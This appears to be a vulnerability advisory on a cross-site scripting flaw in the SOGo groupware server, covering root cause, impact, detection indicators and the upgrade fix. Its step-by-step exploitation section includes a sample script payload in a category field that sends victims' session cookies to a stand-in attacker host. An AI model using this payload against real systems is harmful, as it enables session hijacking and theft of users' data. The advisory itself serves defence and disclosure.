CVE-2025-71276: 
NixOS vulnerability analysis and mitigation

CVE-2025-71276 is a Cross-Site Scripting (XSS) vulnerability in SOGo, an open-source groupware server developed by Alinto, affecting all versions before 5.12.5. The flaw exists in the handling of events, tasks, and contacts categories, where user-supplied input is not properly sanitized before being rendered in web pages. It was published on March 22, 2026, with a patch committed to the official GitHub repository shortly after. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (Feedly, GitHub Commit).

The root cause is improper neutralization of user input during web page generation (CWE-79), specifically in the request content parsing logic for events (UIxAppointmentEditor.m), tasks (UIxTaskEditor.m), contacts (UIxContactEditor.m), and contact lists (UIxListEditor.m). In the vulnerable code, JSON request body content was parsed directly via objectFromJSONString without first stripping HTML injection sequences; the fix applies stringWithoutHTMLInjection: before JSON parsing to sanitize the input. The attack vector is network-based and requires user interaction (a victim must view or interact with the maliciously crafted calendar/contact entry), but requires no privileges on the part of the attacker in some scoring interpretations (GitHub Commit, Feedly).

Successful exploitation allows an attacker to inject and execute malicious scripts in the browser context of other SOGo users who view the crafted events, tasks, or contacts. This can result in theft of session cookies, unauthorized actions performed on behalf of victims, and exposure of sensitive groupware data such as calendar entries and contact information. The scope is changed (cross-origin impact), with low confidentiality and integrity impact and no direct availability impact (Feedly).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation as of the time of disclosure (Feedly). The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

1. Identify target: Locate a SOGo instance running a version prior to 5.12.5 that is accessible to the attacker (e.g., via a shared organizational groupware deployment).
2. Craft malicious payload: Prepare a JSON request body for creating or editing a calendar event, task, or contact that includes an HTML/JavaScript injection payload within a category field (e.g., "categories": ["<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"]).
3. Submit the payload: Send the crafted HTTP POST request to the relevant SOGo endpoint (e.g., the appointment editor, task editor, or contact editor save action) while authenticated as any user.
4. Wait for victim interaction: When another authenticated user opens or views the maliciously crafted event, task, or contact in their SOGo session, the injected script executes in their browser context.
5. Harvest results: The attacker receives stolen session cookies or other sensitive data, enabling session hijacking or further unauthorized actions within SOGo (GitHub Commit, Feedly).

• Network: Outbound HTTP requests from SOGo users' browsers to unexpected external domains shortly after viewing calendar events, tasks, or contacts; unusual GET requests containing encoded cookie or session data in query parameters.
• Logs: SOGo access logs showing POST requests to appointment, task, or contact editor endpoints containing HTML tags or JavaScript keywords (<script>, onerror, javascript:) in the request body.
• Application: Calendar events, tasks, or contacts with category fields containing HTML markup or JavaScript code rather than plain text labels.
• Browser: Unexpected redirects or pop-ups occurring when users open specific SOGo calendar entries or contacts.

The primary remediation is to upgrade SOGo to version 5.12.5 or later, which applies stringWithoutHTMLInjection: sanitization to request content before JSON parsing in all affected editors (GitHub Commit). As interim measures, restrict SOGo access to trusted internal networks where possible, and implement Content Security Policy (CSP) headers to limit the impact of any XSS execution. Administrators should also review existing events, tasks, and contacts for suspicious HTML or script content in category fields (Feedly).

Coverage of CVE-2025-71276 has been limited to automated vulnerability tracking platforms and aggregators such as ENISA's EUVD, CIRCL's vulnerability database, and Tenable's Nessus plugin repository (plugin 303301). A brief technical post was published at infinitsec.net shortly after disclosure. No significant vendor statements beyond the patch commit, notable researcher commentary, or broad media coverage have been identified (Feedly, Tenable).